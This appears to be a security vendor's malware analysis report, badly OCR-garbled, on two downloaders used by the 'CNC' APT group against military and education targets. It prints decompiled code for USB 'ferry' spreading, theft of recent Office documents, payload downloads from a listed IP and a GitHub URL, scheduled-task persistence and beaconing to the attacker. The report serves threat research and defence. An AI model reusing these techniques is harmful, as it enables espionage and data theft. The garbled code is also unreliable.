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1 Overview

Recently, CERT discovered two downloaders used by CNC when combing the attack activities, one of which
has the capability of ferry attack and uses the mobile storage device as the "ferry." Indirectly steal files of interest to
an attacker from the quarantine network; another downloader uses a fraudulent C2 node with an untrusted digital

certificate to communicate.

The CNC organisation was first known to be discovered in 2019, when it was named CNC due to the inclusion
of cnc _ client in the PDB path information of the remote trojan it was using. The group is mainly targeting the

military-industrial and educational industries for attacks.

2 Sample analysis

2.1 Privateimage .png.exe (Downloader 1)
211 Sample Overview

Privateimage .png. exe is executed two ways depending on whether the file is under% localappdata% path.

1. Ifunde that path% localappdata%, it is continuously checked for new device access; if so, the file itself is

copied to the new device for propagation through the removable device.
2. Ifitis not unde path% localappdata%, first determine if% localappdata%)\ ImageEditor.exe exists:
1) If so, skip that follow-up operation to exit.
2) Ifnot, jud that Internet connection state:
a) If network-enabled, download that follow-up download.

b) If the network is not available, obtain the files with the .docx or .pptx suffix from the shortcut
under the Current folder, copy the files to the new hidden folder named by the user name under

the current directory, And name the file path after the symbolic substitution.

2.1.2 Detailed analysis

Table 2-1 Privatelmage .png. exe 2-1
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Virus name

. . Privateimage .png.exe (the space is very long, disguised
Original file name .
as a picture)

Da3d305d1b47c8934d5e1f3296a8efe0

Processor
. Amd AMDG64
architecture

1.16 MB (1216,000 bytes)

Win32 EXE
Time stamp 2022: 02: 23 21: 30: 27 UTC
Digital signature None
Shell type None

(&1 [ JIELRENTTER N Compiler: Microsoft Visual C/ C + + (2017 v.15.9)
\ARTE AT CET BT E 2022-03-26 10: 51: 26 UTC

Vt test result 12 /70

After the sample is run, the current user name is first obtained and used in subsequent path splicing operations.

pcbBuffer = 257; TN £ em—
GetUserNameW(Buffer, &pchLlf'ﬁe{Iﬁjﬁmwg *
1123 = _mm_load sil28(&xmmword JFFGE50158208)% ;

Figure 2-1 Obtain the current user name 2-1
Gets the path of the current file and determines if it is in the% localappdata% directory.

if ( viz )

{
do

v13->ml28i i8[@] = tolower(vl3-»ml28i i8[@]);// BREAESZBEH#HNIExE
vl3 = [ ml28i *}({({char *)}v13 + 1};

while ( (char *)v13 - (char *)v12 != v14 };

vo = v123.m128i_u4[1];

vi@ = v123.m128i_ica[e];

vB = v122.m128i_i64[@]; /"») ;f/
if ( vo >= exie )

7 ——
1 i\-‘l ANTIY Q *
w15 = (_ ml28i *)vE;

w15 = &w122;
if ( sub_13F92899@(v15->m128i_i8, v18, v9, "appdata\\local”, @xDuisd) != -1 )// HEFREEHES B Sappdata\local
Figure 2-2 Determine if the path contains appdata\ local 2-2

If it is in the% localappdata% directory, all drive strings in the system are retrieved.


https://www.virustotal.com/gui/search/entity%253Aundefined%2520antiy_avl%253ATrojan%255BDownloader%255D%252FWin32.APT
https://www.virustotal.com/gui/search/size%253A1216000
https://www.virustotal.com/gui/search/metadata%253A%25222022%253A02%253A23%252021%253A30%253A27%252B00%253A00%2522
https://www.virustotal.com/gui/search/detectiteasy%253A%2522Compiler%253A%2520Microsoft%2520Visual%2520C%252FC%252B%252B%2520(2017%2520v.15.9)%2522

A;*
Jor = 4 * Analysis of "Ferry” Trojan of the CNC Organization Targeting the Military
Industry and Education Sector

w15 = sub 13FC5856@(( inte4)&cff 13FD1EGB@, (  ints4)}"in local™);
sub_13FC5C13@(v15);
= mm_load sil28({({const _ ml23i *)&xmmword_ 13FD182D8) ;
@] = @;
= Bigd;
= BiG4;
= BiG4;
= Bigd;
= Bigd;
= BiG4:
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Figure 2-3 Get all the drive strings in the system 2-3

It is determined whether a new device is connected by judging whether the previous drive string is the same as

the drive string obtained this time.

if ( v135 == (_ ml28i *)vi3s )
sub_13FC5CB28(RV135, (_ ml28i *)vi1s, *({_ ml28i **)&115 + 1));
H
else if ( (__int64)(*({_QWORD *)&I1L5 + 1) - v11S) »>> § == (_ int64)(v136 - ( QWORD)VI3S) >> 5 )// ”Sﬂmléj‘%ﬁlﬁﬁ TR ESEHEEEN

Sleep(@xEAGBU);

gtk

else
Figure 2-4 Determines whether a new device is connected 2-4
If there is a new device, obtain that name of the new device, and if there is no current file in the new device,
copy the current file to the new device. The instruction word "-firstery” is then spliced to the host name and used to

communicate with the device controlled by the attacker. If that current file already exist in the new device, splice the

indication word "-alert" behind the host name.
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v79 = sub_13F3094E@(&v128, (const _ m128i *)WideCharStr, v73);// WFF E:\PrivateImage.png
sub_13F3@BF20(&v112, v79);
if ( *((_QWORD *)&v129 + 1) >= Buibs )

v8@ = (void *)v128.m128i_i64[0];
if ( (unsigned _ int64)(2i64 * *(( QWORD *)&v129 + 1) + 2) >= Ox1000 )

V80 = *(void **)(v128.m128i_i64a[@] - 8);
if ( (unsigned _ int64)(v128.m128i i64[@] - (_CWORD)vES - B) > Ox1F )
invalid_parameter_noinfo_noreturn();

j_j_free(vse);

if ( !(unsigned int)std::_ Execute_once(
(struct std::once flag *)&unk_ 13F3D0348,
(int (__stdcall *)(void *, void *, void **))std::_Immortalize_impl<std::_Sys
&unk_13F3D@338) )
terminate();
if ( !(unsigned int)std::_Execute_once(
(struct std::conce flag *)8unk_13F3D0348,
(int (__stdcall *)(veoid *, void *, void **))std::_Immortalize impl<std::_ Sys
&unk_13F3D0338) )
terminate();
vBl = &v112;
if ( vii4 >=8 )
vl = (_m128i *)v112.m128i_i64[e@];
vB2 = Stat((const WCHAR *)v8l, vi4i);

vB3 = v82 == 8 || v82 = -1;
unknown_libname 3(&/112);
if ( v83 )

sub_13F308560((__ int64)&off_13F3CE6B@, (_ int64)"png not exists in drive so copy \n");
vB4 = (WCHAR *)operator new(@x200@ui64);
MultiByteToWideChar(@, @, Filename, -1, vB4, 4096);
Sleep(7000u);
CopyFileW(v84, lpWideCharStr, 1);
vB85 = (const _ ml28i ")L"-firstcry";
}

else

sub_13F308560((_ int64)&cff 13F3CE6BO, (_ int64)"png already there\n");

v85 = (const _ m128i *)L"-alleat"; @ //fl"' - *
} ANTIY g

v86 = (const _ ml128i **)sub_13F308410(&v128, &v139, v85);// -firstcry
sub 13F3@EE20(va7, vEE);

Figure 2-5 Copies the sample itself into the new device 2-5

The sample communicates with the device controlled by the attacker.
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L ’ m————n o X R

sub_13F33ADAR{(_ m128%1 *)((char E) 18 4+ 2 * ve.m128i_i64{0]), (const _ mi231 *)L"ini-request/™, Ox1Buiba);// http:// ini-reguest/

1e->mi28i_i16[v=5] = @)
}

11 = (c _m123 al; 17 s-firstcry
if ( (u ed __int64)a2[3] >=8 )

2 = sub nszngaee(s 11, (unsigned _ Int54)a2[2]);// hrtp:// ini-request/win7x64-firstery

4 o= Bi64;
*(__wil28i *)v23 = *v12;

24 = vi2[1];

2[1).m128%_i64[0] = 0i64;

12[1].m128i_i64[1] = 7i64;

12->81283_115[(8] = @;
if ( =1128.m1283i_1i64[1] >= Buisg )
{

= (vold ) 1.m1281_is4[e];
iF ( (uns d __int6a)(2 * si126.m128i_i64{1] + 2) >= @x1000 )
{
B '( **)(via.m128%_i64[e] - 8);
3¢ ( (unsigned  inted)( .e128i_i64[8] - (_QWORD)v13 - 8) > Ox1F )
1nva1id_para-eter‘_noinfo_noreturn( H

}

j_3_free(vii);
ST OZEX
if ( 3 l1§:} 164[1] ya Bu164 ) \&, ANTIV n
URLDownloadToF {1eW(@i64, V14, word_13F38FAFC, 8, 8i64);

Figure 2-6 Sends the case of the new device back to the control end 2-6

If it is not in the% localappdata% directory, load the picture in the sample resource and release it to the same

directory to open.

1pFileName.m128i il6[@] = @;
sub_13F78e4A8(&1pFileName, L"PrivateImage.png”, @x10uisd);
Resourcel = FindResourceW(@ied, 1, L"PNG");
Resource = LoadResource(@i6d, Resourcel);
v2 = LockResource{Resource);
v3 = SireofResource(@8i6d, Rescurceld);
p_lpFileName = &lpFileName;
if ( s1125.m128i iG4[1] »>= Buikd )
p_lpFileName = lpFileName.ml128i_ ie4[@];
FileW = CreateFilewW(p lpFileName, @x4e800008u, ©, 6isd, 2u, 6u, Bi6d);
WriteFile(FileW, v2, w3, &NumberOfBytesWritten, @ied);
CloseHandle (Filel);
FreeResource(Resource);
vh = &lpFileName;
if ( si128.m128i i64[1] »>= Buibd )} .f’ﬂ"‘* *
= lpFileName.m128i jic4[@];
ShellExecutew(®isd, L"open", vG, @ik4, @ikd, 5);

MIIV

Figure 2-7 Loading and opening a picture in a resource 2-7

Pictures included in the Resources section.
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B Rescarce Hacker - Srivatelmage.ping ees_ - [w] x
fe Edt View Action Melp BNG 1111033
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Figure 2-8 Picture included in the sample resource 2-8

First, a string concatenation is performed.

sub_13F786940(&v127, “C:\\Users\\", 9ui6d);

95 = §v124; // Fﬂp‘g
if ( vi26 >= @x1e )

a5 = v124.m1281_i64[0]; 7=
sub_13F786949(& 127, w45, v94); ANTIY

6 = sub_13F786948(8v127, "\\Appdata\\Local\\IsageEditor.exe", Ox1Euis4);// C:\Users\w- \Appdata\local\ImageEditor.exe

Figure 2-9 String concatenation 2-9

Then determine 1f% localappdata%)\ ImageEditor.exe exists, and if so, end the process by skipping subsequent

operations.

v2 = Stai?l[al, wd}; o ‘D %"‘"
return vz !l= 8 && w2 1= @xFFFng}E\,&..Y Q *

Figure 2-10 determines whether a file exists by acquiring file attributes 2-10

Test the communication with www.baidu.com and judge the Internet connection in the current environment.
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if ( 1veg )
1

if { InternetCheckConnectionW(L"https://www.baidu.com", 1u, @) )

1
sub 13F2D856@((_  inte4)&off 13F33E6BR, (  inte4)"internetin™);

sub_13F2DF@E@(v1aa, (_ inte4)}Buffer, w1@l};// URLtoDownloadFile
¥

else

1
sub_13F2D856@8((_ inted4)&off 13F39E6B@, ( inted)"no internetin™};

vi@2 = sub_13F2D938@(( m128i **)vi4o, Rvi4l);

sub_13F2D278@(v183, (_ int64)viez); /1 docx %
. Bk~

Figure 2-11 Testing for Networking 2-11

If that Internet is not available, splice the str to create a hidden folder with the current us name in the directory
where the sample is located.

Crca'cDch;tcry:( 15, 0i64);
if ( '(( QWORD *)v2 + 3) >= Buistd )
1 *(const WCHAR **)v2;
Se =‘1eA"* butesi(vis, 2u);
V168 = @i64;
v169 = 15i64;
LOBYTE(vi67[@]) = @;
sub_13F8767c@(vi6/, ".docx”™, 5i64);
/165 = 8i64;
166 = 15164;
LOBYTE(viGa[@]) = ©;
sub_13F8767E@(vic4, “.pptx", 5i64);
/20 = 81513
if ( '((_f\:\,‘f‘u[ ')&" + 1) >= Buikd )
vZ2® = (__ int128 *)viSi;
= (fha" “)v2e 4+ 2 *'visS2;
v22- = By151;
if ( *((_QWORD *)8&v152 4+ 1) >= 8uibd )
v22 = (__int128 *)v151;
/163 = mm load 51128(( const _ ml2B8i *)&xmmword 13F9302E0);
LOBYTE(v1 [0])

if ( (U\.lfﬁcu 1ﬂ’h%)(( = (char *)uv22) >> 1) >= 8x10 )
sub_13F879B48(v152);
vicd,ml28i_i64[@8] = @isd; (::)
ANTYY
sub 13F879&£0( v22, val); // C:\Users\w. = t\AppData\Roaming\h1crosoft\hlndows\Recent
setlocale(@, "en us UTF-8"); /! RBREEITE

Figure 2-12 Creates a hidden folder 2-12

Get the files with .docx or .pptx suffixes from the shortcut under the Recent folder, and find the recently opened

files with .docx and .pptx suffixes.
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B CindFir:t:il;‘Z.Z 42, & indFileData); // C:\Users AppData\Roaming\Microsoft\Windows\Recent\*
1 - 333
if ( I= (HANDLE)-1i64 )
i
57 = @is4;
= @i64;
vl = 233
while ( 1)

45 = 323 ‘\'&'} ANTIY g *

if ( (FindrileDato.dwFileAttributes & 8x1@) == @
Il 1strcmoW(FindFileData.cFileName. L™.") 88 IstremplifFindFileData.cFileName. L"..") )

Figure 2-13 File Search 2-13

If it is found, it will be copied into the created hidden folder, and the file will be named in the form of "\,"
""" In the complete path of the file.

viZ = ved & @xFFFFFFSF;
sub_13F5A23D@(v117 - 24);

v121 = sub 13F5A4F88();
sub_13F5A8568(v121, "copy to rct files™);
CopyFileM(1lpExistingFileName, w116, 1};
sub_13F5A23D8(v1038);

sub_13F5A23D8(v116 - 12);
sub_13F5A23D8(1pExistingFileName - 12};

w73 = vl5B;
v72 = (void **)Block[@]; N Y e
w2 = wil41; {ﬂ’.[,:'zj ANTIY g *

goto LABEL 1B7;

Figure 2-14 File Copy 2-14

The documents collected in the test machine and their nomenclature are as follows.

"Il C_Users wl0 Desktop IDA 7.7 $FEsrdri ppix 2022/12/16 15:55 PPTX 304 1KB
] €_Users w10 Desktop wl0 C_Users w10 Desktop SEErdfsdocx  2022/12/16 1502 Office Open XM... 2 KB
[5] ¢_Users w10 Desktop #Erdir docx 2022/12/16 15:02 Office Open XM... 2 KB

Figure 2-15 Files collected in the test machine 2-15

If that Internet is available, determine if the C:\ ProgramData\ USOshared fold exists, and if not, create the folder.

©Antiy All Rights Reserved. Reprint without loss is welcome 9
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wE3 = sub 13FBCAD6@( (const WCHAR *Y&v167); | // C:\ProgramData\UsOshared
unknown_libname_ 3({_  int54)&v167});
if ( 'wa3 }
1
vB4 = (const wchar_t *}1pFileName;
if ( vi7e.m128i i64[1] >= Buikd )
vB4 = lpFileName[@];
w85 = -1i64;
do
HvEs;
while ( v84[v&5] };
vBE = 2 * vB5 + 2;
vB7 = (char *)operator new(vBe&);

wcstombs (wB7, vB4, vBE); /i‘;\ 7 g—
CreateDirectoryaA(vwsY, @icd); (‘»} ANTIY Q *
Figure 2-16 Creating a folder 2-16

The malicious subsequent downloaders will then be downloaded from 185.25.51.41 / control / utility /

YodooCloudMgr and copied to the USoshared folder, followed by the removal of the files downloaded in% temp%.

9 = sub_13F@C9388((_m=128i )& 8v155);// YodaoCloudMgr
sub_13FBC4E£Be((_ m128i )& 147, v195);// http://17° =7 7 *1/control/utility/YodaoCloudMgr

sub_13F8C9388( —‘, (,- st *vi_-_-; )__-;,:'.—,’-—),// C:\ProggramData\USOshared) M"
192 = sub_13F@C9388(( mi28i **)&v1s5, 3);// C:\Users! \AppData\lLocal\Te ﬂgﬁ

sub_13FeD1eAe((const h(HAR *)vioz; (const h(HAR *)visl, (const  mi28i *)vioe, va9);

192¢

Figure 2-17 Splice strings for downloading subsequent downloaders 2-17

If the file is successfully downloaded, save it to YodooCloudMgr under% temp%.

vd = (*({ int64 ( fastcall **)(_ inte4, inte4, char *,  inted *, char **)){*( QWORD *)}v2 + 64i64))(
v,
al + 116,
Buffer,
&vie,
&vE);
vi = v8;
3
if w4 )
{
vs = vd - 1;
if { w5 )
return w5 == 2;
}
else
*(_BYTE *)(al + 113) = @
w7 = v3 - Buffer
if ( v7 && v7 != fwrite(Buffer, luisd, v7, *(FILE **)(al + 128}) ) {\A, *
return 8; A“”'
return *( BYTE *)(al + 113) ==

Figure 2-18 Download and Save to Local 2-18

Delete YodaoCloudMgr file under% temp% after copying YodaoCloudMgr from% temp% to C:\ ProgramData\

USOshared\ YodaoCloudMgr .exe.
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¥
v23 = (const WCHAR *}a2;
if ( a2[1].ml128i_is4[1] »>= Buikd )
v23 = (const WCHAR *)a2-»ml28i_ied4[@];
v24 = (const WCHAR *)}al;
if ( al[1].m128i_ ic4[1] »>= Buik4 )
v24 = (const WCHAR *)al-»>ml28i_ied4[@];
CopyFileM({v24, w23, 1};
v25 = (const WCHAR *)}alj;
if ( al[1].ml28i_iB4[1] »>= Buif4 )
v25 = (const WCHAR *)al-»ml28i_ied4[@];
DElEFEFllE'ﬁ'I{UEE}Ij . . . /\.\ ) quiny
((void (_ fastcall *)(_ int64 *))sub_13F@D19CE)(&E5); ©O©F e *
if ( vS1.m128i_i64[1] »>= @x1@uiGd ) oo

f ;"a

Figure 2-19 Copy and delete operations 2-19

Create a task plan, add C:\ ProgramData\ USOshared\ YodoCloudMgr .exe to the task plan library, and execute
it every 2 minutes. And construct the return message according to the result of downloading and creating the task
plan: 23fi45xx represents downloading success, 23Fi45NNXX represents downloading failure, 45tDdd43543

represents creation of task plan success, and 45tDn43543 represents creation failure of task plan.

sub_13F2E1048((const 7ﬂﬂ:;5i *Jv102, (const _ =128{ *)vidl, (const _ =128{ *)viee, (const _ e128i *)ve3);// T¥vodacCloudvgr
sub 13F254ace(a 8, 1pFi );
LOBYTE(v101) = sub 1arznaoee(( WCHAR *)8v168);
unknown_ lib«nm 3(3 68);
if ( (_BYTE)viel )
{
sub_13F206940(8&/ 172, (const _ wl ")T23Fi45XX", Buiss);
sub_13F206940(Bv172, (conzt _ mi )'\n , 1uiss);
4 = sub_13F200520( ,&«,.u eliome, 02);// BRRHIAES » ByodaoCloudigr. exed i3 NI I{ES &
VIS5 w ulne[2].m128i uzm. )
unknown_libname 4( -‘1, 104);
unknown_libname_3(&v168);
if ((vi%s == 1)
sub_13F206940(8+172, (const _ mi28i *)"45tDdd43543%, OxBuibd);
}
else
{
= sub_13F2DECS@(8v160);
= sub_13F2E4DEO(v105, V104, "45tDnna3S4d”, 11i64);
- -y iR *NART.
4
else
{ N 7 —
sub_13F2D6940(&v172, (const _ mi28i *)"23Fi4SNNXX", OxAui64); Li_ Mmg *
¥

Figure 2-20 Create a task schedule and execute the YodaoCloudMgr .exe file on a regular basis 2-20

The task schedule created in the test machine is as follows.

©Antiy All Rights Reserved. Reprint without loss is welcome 1



k=L S

Analysis of "Ferry” Trojan of the CNC Organization Targeting the Military

Industry and Education Sector

m&tm Py ———

e 2B HE

@ EEHUES (3
b [ EERFE

=253 wE R

2%
®YodaoUpdt EEME 1F 2022/12/6 83 16:20 B - ES . TIREEESE 00:02:00% B

[ VodaoUpdt B+ )

20 |wes 2 z4 g8 |Feczcss)

SRESEE | WIEEESRNNREMEE

#(E HRES

Ci\ProgramData\USOshared\YodaoCloudMgr.exe /

SAES...
AT IEERE
FFREESE
TSR
© 7

-
= ANIIY

Figure 2-21 The task plan created 2-21

Gets a list of processes under the current environment.

LOWRD{ 1)

LF [ wrse

{

for {

{

1.0 b taed
bresk;

I » -3164;

dao

il

i[e]) = 8;
sub_13F2064ABC(  wllnl *)lock, {tesit _ wid
rusetatefrecessnsu(®iod, 0, tu, P ant) )

o 0458 | | & [unsigned Lnt)lias + 1) )

)-md L13F3BF45C, Bl6a);

[@][ ). pProcessiiome

N
text TUTF-I6CET,
e “UTFALELE™, "ras.exs |, winlogon. uxe , services.exe , lssss.exe '
“uTr-jeLe”, Ism.ear , svchost.exs , vaSdservice.ane , sychost.'

*UTF-I5LE", ‘exe ,

“UTF- ’ exe , vaids . WL ,ql,: el w-\v 1n
° i fiSeon e/ X
“UTF-A6LE", ‘ame , winBa rasat Srhuy o
“UTF-36LE", ‘ner.esw , mmcoene n mrefle®

“UTF-36LE", “riexe , GoogleCres '\I andl -r-

Yo Syatee |, sess.ese , Carsa.exe | wininitoexe | 23'

svchost.exe , svi
» hast.ese . svChost. exe |,
*o Evarythisg eve , svr
*, vatoalsd. exw , MelPr

t.ene , swchast.ese , sve'

1 svchost ene '
~wice.exe '
+ madte’

. opler’

Figure 2-22 obtains a list of processes 2-22

The obtained process list is merged with the previously constructed return information, and base64 encoding

method is used to process the merged content.
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Jor = 4 * Analysis of "Ferry" Trojan of the CNC Organization Targeting the Military
Industry and Education Sector

sub_13F2E1A6@(( int64)v191, @, (struct WIS PROCESS INFOW *)vii8);// BEIAIENMEHERER
w113 = vigys
if ( 92 >= 8 )
- "h ~~[9]r

1o = ( n -1 __int8 * 19 + 2 * vi91{2];
vi21 = (ur int8 ) 1913
if ( vi9:

/121 = (4!_;grl =d _;H'.L ')'L:L[O]}
sub_13F2084C0 (8193, | ::,, 12
sub_13F206940(&v172, (cons ”—u_- *)"372tk1173723updin-", Ox12ui6d);
122 = &v133;
if (V195 >= 8x10 )

22 = (const _ ml28i * 93.m128i_is4[e];

sub_13F2D6940(8v 172, 194)
sub_13F206948(& 72, (:'Ar“:t _ w1231 *)"\n", 1luib4);

123 = ( intsa)8&vl
if (v -1281 164[1] >= @x10uisd )
123 = vi72 m1281 _is4[e];
124 = 200[-v123];
do
{
125 = *(_BYTE *)vi2
124[v123] = *(_BY e ')u.:a;
+Hv123;
}
while ( v125 );
do
++05;
while ( v200[v¢ ] )g
sub_13F2D90F@(v123, (__int54)v189, v260, v5); // basebts
i;-( .-;v;- ox10 )
vi26 = (_ int64 *)visafe];
$57 = RENar- QRIS € Nt d
if ( v190 >= 0x10 )
128 = (_intss *)uia9[e];
179 = _mm_load 51128(( onst _ m128i *)&xmmword_13F3902D0);
LOWORD(+175[0]) = o
sub_13F2092€0((_m1281 *)vi78, w127 - (char )viE); ANTIY
sub_13F2E516@(v1 128, v127);

129 = sub 13F208410(& , (const _ m128i *)8off_13F3AR2B8, (const mi1281 *)L"allpro=");// http://20 _..__. 1/allpro=

Figure 2-23 Splicing the return message 2-23

Use URLDdownloadToFileW to communicate with the control end and return the collected information. If that
creation of the task schedule fail, C:\ ProgramData\ USOshared\ YodoCloudMgr. exe is execute through
CreateProcessA. According to the static analysis, if YodaoCloudMgr. exe fails to start, deleting the file will fetch the

content from the github repository for execution.

©Antiy All Rights Reserved. Reprint without loss is welcome 13
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Industry and Education Sector

e Se-Lmaa
URLDownloadToFilek(@isd, w133, w132, @, 0i64);
if ( dwerd_13F3A826C == 1 )

1
v134 = (unsigned _ intd *)sub_13F209386((_ ml128i **)&v168, (const _ ml28i *)1pFileName);
sub_13F2E2818(v134); // CreateProcessA
Sleep(@x7D8u);

w135 = sub_13F209388((_ ml128i **)&v163, v197);
sub_13F2E1A6@((  int64)vi5e, 1, (struct WTS PROCESS INFOW *)v13s);// BELSRIENHREEE
unknown_libname_3((_ intet)vise);
if ( ldword_13F34@26C )
{

v136 = (const WCHAR *)1lpFileMame;

if ( v171.m128i i64[1] »>= Buisd )

v136 = lpFileName[@];
DeleteFileW(v13G);

sub_13F2E@0AB((_ intee)&v1Ga); // https://raw.githubusercontent.com/gazelter231trivoikpol/questions/main/beautify. js

w147 = &v148;

w153 = 58;

v152 = &v166;

/137 = sub_13F209388((_ m128i **)&v148, &v157);

138 = sub_13F2D4EB@(v158, &v16E);

(139 = sub_13F209380((_ ml128i **)&v1e6, (const _ ml28i *)1pFileMame);

v14p = sub 13F20938@(( ml28i **)R&vids, &v1E6);

sub_13F2E18A8((const _ ml281 *)vl4e, (const _ ml281i *)v139, (const _ ml281 *)v133, (const _ ml281i *)v137);// download

vl4l = (unsigned _ int8 *)sub_ 13F2D09386((_ ml28i **)&v148, (const _ ml281 *}1lpFileName);

sub_13F2E2018(v141); N ;;‘»' ——n

sub_13F2D4ESB((_ inte4)Rv1GE); (\L ) Q *
3 e’ ANIIY

Figure 2-24 execution of acquiring content 2-24

2.2  Yodaocloudmgr.exe (Downloader 2)

221 Sample Overview

Yodaocloudmgr. exe is downloaded and executed by Privatelmage .png. exe and is mainly used to download
subsequent payloads. During analysis, it is found that there are relevant codes such as file search and startup process

in the file, and the untrusted certificate used in the communication of the sample is found.

RBSERAEIED:
Serial Number:
69:af:8f:f7:19:5a:3d:ca:6a:d0:87:22:03:b%:aa:2a:d3:12:01:3a
Signature Algorithm: SHA256-RSA

Issuer: C=CN,ST=Fujian,L=Nanping,O=Animations-Ltd,OU=Technical, CN=Yang bin,emailAddress=] 376@163.com
Validity e
Not Before: Jan 14 08:41:12 2022 UTC () Z 52 *
Not After : Jan 14 08:41:12 2023 UTC N/ avy

Figure 2-25 Communication using an untrusted certificate 2-25
2.2.2 Detailed analysis

Table 2-2 Yodoo CloudMgr.exe file 2-

Virus name Trojan [Downloader] / Win32.APT
Original file name Yodoocloudmr.exe _
C024eb3035dd010de98839a2eb90b46b

Processor Amd AMD64

©Antiy All Rights Reserved. Reprint without loss is welcome 14
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ﬁE * Analysis of "Ferry" Trojan of the CNC Organization Targeting the Military

architecture

3.22 MB (3378688 bytes)

Win32 EXE
Time stamp 2022: 01: 14 23: 47: 14 UTC
Digital signature None
Shell type None

Industry and Education Sector

(o] [ JIELRENTTER M Microsoft Visual C / C + + (2017 v.15.9)

\ARSTC R ET R ITIEN 2022-03-28 16: 26: 44 UTC

Vt test result 18 /71

A string to be decrypted exists in the sample.

Goamreus_saupu) =
sub_13FF2125@((_ ints4)&s69, @xBuibd4, a3, (const _ ml281i *)L"Z2VgaGV3iaGp");
vd = si128;

if ( si128.m128i_i64[@] »= (unsigned _ int64)sil25.m128i_is4[1] )

sub_13FF20F6B(&v6d, si128.m128i_i64[1], v3, byte_14@1BA1AC);

}

else

{
++5i128.m128i_i64[0];
vs = &vEd;

if ( v4.m128i_i64[1] »>= Buit4 )

w5 = (_ ml28i *)vE9.m128i_i64[0];
v5->m128i_i16[v4.m128i_i64[@]] = byte_l4@1BA1AC;
v5->m128i_i16[v4.m128i_ic4a[@] + 1] = @;

w6 = si128;
if ( 5i128.m128i_i64[1] - si125.m128i_i64[@] < @xBui6d )

cat_13F8D13B@(&v53, @xBuibd, v3, (const _ ml28i *)L"raGV3a2tlRk", 11i64);
¥
else
1

v7 = sil128.m128i_i64[@] + 11;

Si128.m128i_i64[@] += 11i64;

vE = &vEd;

if ( ve.ml28i_i64[1] »= Buis4 )

vE = (__ml2Bi *)vE9.ml28i_i64[e];
copy_13FABBES@((_ m1281 *)((char *)vE + 2 * ve.ml2Bi_i64[@]), (const _ ml
wA-rm1 284 11ATW71 = @

Figure 2-26 Decrypted string 2-26

Okk=% 3

281 *)L"raGV3a2tlRk”, @x16ui64);

The string is decrypted using the symmetric encryption XXTEA algorithm.

©Antiy All Rights Reserved. Reprint without loss is welcome

15


https://www.virustotal.com/gui/search/detectiteasy%253A%2522Compiler%253A%2520Microsoft%2520Visual%2520C%252FC%252B%252B%2520(2017%2520v.15.9)%2522

"2!; iy
o = 4 * Analysis of "Ferry" Trojan of the CNC Organization Targeting the Military

Industry and Education Sector

for { j = @i64; j < a3; *vl5 |= vl4 << (8 * vi6) )

*(unsigned _ intd *)(j + a2);
& z[7 »» 2];

16 = j++ & 3;

}
v1l7 = (unsigned int *)operator new(@xl@uibd);
key = v17;
if (w17 )
{

v18 = BYTE3(v38);

v28 = BYTE2(v38);

*(_QWORD *)v17 = Bib4;

*((_QWORD 7+ 1) = Bis4;

v22 = (unsigned int)(ve - 1);
V23 = WORD3(v38);
*v17 = (unsigned _ int8)v38 | ((BYTEL(v38) | (w21l << 8)) << 8);
v24 = BYTE1@(v38);
key[1] |= BYTE4(v38) | ((BYTES(v3E) | (v23 << 8)) << 8);
v25 = BYTEB(v32) | ((BYTE9(v38) | ((v24 | (BYTELL(v38) << 8)) << 8)) << B);
V26 = BYTE14(v38);
key[2] |= w25;
key[3] |= BYTE12{v38) | ((BYTEL3(v38) | ((v26 | (HIBYTE(v3Z) << B)) << 8)) << 8);
=Tz
sum = @x9E3779B9 * (88 / (unsigned int)va);
if ( (_DWORD)vI != 1 &% sum )
1
do

LODWORD(v29) = va - 1;
v3@ = (unsigned int)v22;
v3l = & z[v22];
do
1
--v31;
w29 = (unsigned int)(v29 - 1);
w32 = v38-- & 3;
w31[1] —E g(_y Aosum) 4+ (_z[wv29] & key[w32])) M (04 *F _y) & (Cz[v29] > 5)) + ((_v »» 3) M (16 * _z[v22])))s
_y = w3l[1];

}
while ( (_DWORD)v29 );
*Fzo-= ((y ™ osum) 4+ (_z[v22] & key[v2o & 3])) M (04 *F _y) o~ o(_z[v22] »x 5)) + ((_y »» 3) M (16 * _z[v22])))s

3

_y
sum += BxB1CB8647;

while ( sum };
vi = BiG4;

v34 )

va] = _z[v4 >> 2] >> (8 * (v4 & 3)); l-/{\.\J ;’4 — *
o2/ anny !;::!

Figure 2-27 Encryption Algorithm 2-27

The file information is obtained through the stat function to determine whether the RNGdTMP899 exists.

©Antiy All Rights Reserved. Reprint without loss is welcome
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Industry and Education Sector

7 = Stat(ve, &v79); // C:\Users\w’ = “\AppData\Local\Temp\RNGdTMPB99
= U7 mm B || V7 e -1
10 = 51128.m128i_i64[1];
if ( 51128.m128i_i64[1] >= 8ui64 )
{
11 = (void *)v72.m128i_i64[0@];
if ( (unsigned __int64)(2 * s1128.m128i_i64[1] + 2) >= @x1000 )
{

11 = *(void **)(v72.m128i_i64[@] - 8);
if ( (unsigned __ int64)(v72.m128i_i64[0] - (_QWORD)v11l - 8) > Ox1F )
invalid_parameter_nocinfo_noreturn();

} W\ & —
) j_j_free(vii); Q{) ANTIY g *
if ( v9)

Figure 2-28 determines if an RNGdTMP899 file exists under the% temp% path 2-28

If the file does not exist, a random string of 15 bytes is generated, and the random string is used for URL splicing.

The value of byte is in "ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopqrxyz0123456789 + /."
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Jor = 4 * Analysis of "Ferry" Trojan of the CNC Organization Targeting the Military
Industry and Education Sector

v26[3] = -2i64;

w4 = 15i64;

ThreadlLocalStoragePointer = {_ int64 *)}NtCurrentTeb()->ThreadLocalStoragePointer;
v6 = *ThreadLocalStoragePointer;

v7 = *{ DWORD *)(*ThreadLocalStoragePointer + @x1@);

if ( (v7 & 1) =8 )

*( DWORD *)(v6 + @x18) = v7 | 1;
vE = std::_Random_device();
*( DWORD *)(vé + @x13B4) = -1;
*( DWORD *)(vé + @x34) = vB;
vl = 13
a3 = (unsigned int *)}{ve + @x38);
v1l@ = @x26Fi6d;
do
1
vE = vi + @xBCeTEI6ES * (vB & (vE »» 38));
*a3 = v3;
+v9;
+a3;
-=v1@;

¥

while ( vle });

*( DWORD *)(vé + @x38) = @x278;
w7 = *(_DWORD *){vé + @x1@);

}
if ( (V7 &2) =8 )

*(_DWORD *)(vE + @x18) = v7 | 2;
*(_QWORD *)(v6 + @x18) = 9i64;
#(_QWORD *)(v6 + @x28) = 38i64;

v23.m1281i_i64[@]
V1l = 15i64;
v28.m1281_i64[1] = 15i64;
v27.m128i_i8[@] = @;
while ( v4-- )

@icd;

w13 = *(_QWORD *)(vG + @x2@);

vid = *(_QWORD *)(vGé + @x18);

v2G[@] = vE + @x3e;

v1l5 = ex40i64;

